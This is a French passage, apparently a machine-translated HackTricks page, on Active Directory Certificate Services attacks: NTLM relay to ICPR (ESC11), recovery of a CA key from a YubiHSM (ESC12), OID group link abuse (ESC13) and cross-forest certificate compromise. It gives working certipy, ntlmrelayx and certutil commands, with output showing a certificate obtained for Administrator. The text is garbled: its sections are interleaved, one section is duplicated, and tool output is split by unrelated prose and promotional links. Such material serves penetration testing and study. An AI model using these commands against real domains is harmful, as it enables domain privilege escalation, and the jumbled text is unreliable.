Cette vulnérabilité s'étend également à tout compte utilisateur ne disposant pas d'un `userPrincipalName` ou lorsque celui-ci ne correspond pas au `sAMAccountName`, le `Administrator@corp.local` par défaut étant une cible principale en raison de ses privilèges LDAP élevés et de l'absence d'un `userPrincipalName` par défaut.
## Compromission des forêts avec des certificats expliquée à la voix passive
## Relais NTLM vers ICPR - ESC11
### Rupture des confiances inter-forêts par des AC compromis
### Explication
La configuration de **l'inscription inter-forêts** est relativement simple. Le **certificat de l'AC racine** de la forêt de ressources est **publié aux forêts de comptes** par les administrateurs, et les **certificats de l'AC d'entreprise** de la forêt de ressources sont **ajoutés aux conteneurs `NTAuthCertificates` et AIA dans chaque forêt de comptes**. Pour clarifier, cet arrangement accorde à **l'AC de la forêt de ressources un contrôle complet** sur toutes les autres forêts qu'elle gère en matière de PKI. Si cet AC est **compromis par des attaquants**, des certificats pour tous les utilisateurs des forêts de ressources et de comptes pourraient être **contrefaits par eux**, rompant ainsi la frontière de sécurité de la forêt.
Si le serveur CA n'est pas configuré avec `IF_ENFORCEENCRYPTICERTREQUEST`, il peut permettre des attaques de relais NTLM sans signature via le service RPC. [Référence ici](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
### Privilèges d'inscription accordés à des principaux étrangers
Vous pouvez utiliser `certipy` pour énumérer si `Enforce Encryption for Requests` est désactivé et certipy affichera les vulnérabilités `ESC11`.
```bash
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
Dans les environnements multi-forêts, il convient de faire preuve de prudence concernant les AC d'entreprise qui **publient des modèles de certificat** permettant aux **Utilisateurs Authentifiés ou aux principaux étrangers** (utilisateurs/groupes externes à la forêt à laquelle l'AC d'entreprise appartient) **d'avoir des droits d'inscription et de modification**.\
Lors de l'authentification à travers une confiance, le **SID des Utilisateurs Authentifiés** est ajouté au jeton de l'utilisateur par AD. Ainsi, si un domaine possède un AC d'entreprise avec un modèle qui **autorise les droits d'inscription des Utilisateurs Authentifiés**, un utilisateur d'une forêt différente pourrait potentiellement **s'inscrire à un modèle**. De même, si **des droits d'inscription sont explicitement accordés à un principal étranger par un modèle**, une **relation de contrôle d'accès inter-forêts est ainsi créée**, permettant à un principal d'une forêt de **s'inscrire à un modèle d'une autre forêt**.
Certificate Authorities
0
CA Name : DC01-CA
DNS Name : DC01.domain.local
Certificate Subject : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests : Disabled
....
[!] Vulnerabilities
ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
Ces deux scénarios entraînent une **augmentation de la surface d'attaque** d'une forêt à une autre. Les paramètres du modèle de certificat pourraient être exploités par un attaquant pour obtenir des privilèges supplémentaires dans un domaine étranger.
```
### Scénario d'Abus
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
Il est nécessaire de configurer un serveur relais :
``` bash
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)
{% embed url="https://websec.nl/" %}
[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
```
Note : Pour les contrôleurs de domaine, nous devons spécifier `-template` dans DomainController.
<details>
Ou en utilisant [la version modifiée d'impacket de sploutchy](https://github.com/sploutchy/impacket) :
``` bash
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
```
## Accès shell à ADCS CA avec YubiHSM - ESC12
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
### Explication
Autres façons de soutenir HackTricks:
Les administrateurs peuvent configurer l'Autorité de Certification pour la stocker sur un périphérique externe tel que le "Yubico YubiHSM2".
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Si un périphérique USB est connecté au serveur CA via un port USB, ou un serveur de périphérique USB dans le cas où le serveur CA est une machine virtuelle, une clé d'authentification (parfois appelée "mot de passe") est requise pour que le Fournisseur de Stockage de Clés génère et utilise des clés dans le YubiHSM.
</details>
Cette clé/mot de passe est stocké dans le registre sous `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` en clair.
Référence [ici](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
### Scénario d'abus
Si la clé privée de la CA est stockée sur un périphérique USB physique lorsque vous avez un accès shell, il est possible de récupérer la clé.
Tout d'abord, vous devez obtenir le certificat de la CA (celui-ci est public) et ensuite:
```cmd
# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>
# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
```
## Utilisation de la commande `-sign` de certutil pour forger un nouveau certificat arbitraire en utilisant le certificat CA et sa clé privée.
## Abus de lien de groupe OID - ESC13
### Explication
L'attribut `msPKI-Certificate-Policy` permet d'ajouter la politique d'émission au modèle de certificat. Les objets `msPKI-Enterprise-Oid` qui sont responsables des politiques d'émission peuvent être découverts dans le contexte de nommage de la configuration (CN=OID,CN=Public Key Services,CN=Services) du conteneur OID PKI. Une politique peut être liée à un groupe AD en utilisant l'attribut `msDS-OIDToGroupLink` de cet objet, permettant à un système d'autoriser un utilisateur qui présente le certificat comme s'il était membre du groupe. [Référence ici](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
En d'autres termes, lorsqu'un utilisateur a l'autorisation d'inscrire un certificat et que le certificat est lié à un groupe OID, l'utilisateur peut hériter des privilèges de ce groupe.
Utilisez [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) pour trouver OIDToGroupLink:
```powershell
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local
Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
```
### Scénario d'Abus
Trouver une autorisation utilisateur qu'il peut utiliser `certipy find` ou `Certify.exe find /showAllPermissions`.
Si `John` a la permission d'inscrire `VulnerableTemplate`, l'utilisateur peut hériter des privilèges du groupe `VulnerableGroup`.
Tout ce qu'il doit faire est de spécifier le modèle, il obtiendra un certificat avec des droits OIDToGroupLink.
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## Compromission des forêts avec des certificats expliquée en voix passive
### Violation des confiances forestières par des AC compromis
La configuration pour **l'inscription inter-forêts** est rendue relativement simple. Le **certificat de l'AC racine** de la forêt de ressources est **publié dans les forêts de compte** par les administrateurs, et les certificats **d'AC d'entreprise** de la forêt de ressources sont **ajoutés aux conteneurs `NTAuthCertificates` et AIA dans chaque forêt de compte**. Pour clarifier, cet arrangement accorde à **l'AC de la forêt de ressources un contrôle complet** sur toutes les autres forêts pour lesquelles elle gère la PKI. Si cet AC est **compromis par des attaquants**, des certificats pour tous les utilisateurs des forêts de ressources et de compte pourraient être **contrefaits par eux**, rompant ainsi la frontière de sécurité de la forêt.
### Privilèges d'inscription accordés aux principaux étrangers
Dans les environnements multi-forêts, il est nécessaire de faire preuve de prudence concernant les AC d'entreprise qui **publient des modèles de certificat** permettant aux **Utilisateurs Authentifiés ou aux principaux étrangers** (utilisateurs/groupes externes à la forêt à laquelle l'AC d'entreprise appartient) **des droits d'inscription et de modification**.\
Lors de l'authentification à travers une confiance, le **SID des Utilisateurs Authentifiés** est ajouté au jeton de l'utilisateur par AD. Ainsi, si un domaine possède un AC d'entreprise avec un modèle qui **autorise les droits d'inscription des Utilisateurs Authentifiés**, un modèle pourrait potentiellement être **inscrit par un utilisateur d'une forêt différente**. De même, si **les droits d'inscription sont explicitement accordés à un principal étranger par un modèle**, une **relation de contrôle d'accès inter-forêts est ainsi créée**, permettant à un principal d'une forêt de **s'inscrire dans un modèle d'une autre forêt**.
Les deux scénarios entraînent une **augmentation de la surface d'attaque** d'une forêt à une autre. Les paramètres du modèle de certificat pourraient être exploités par un attaquant pour obtenir des privilèges supplémentaires dans un domaine étranger.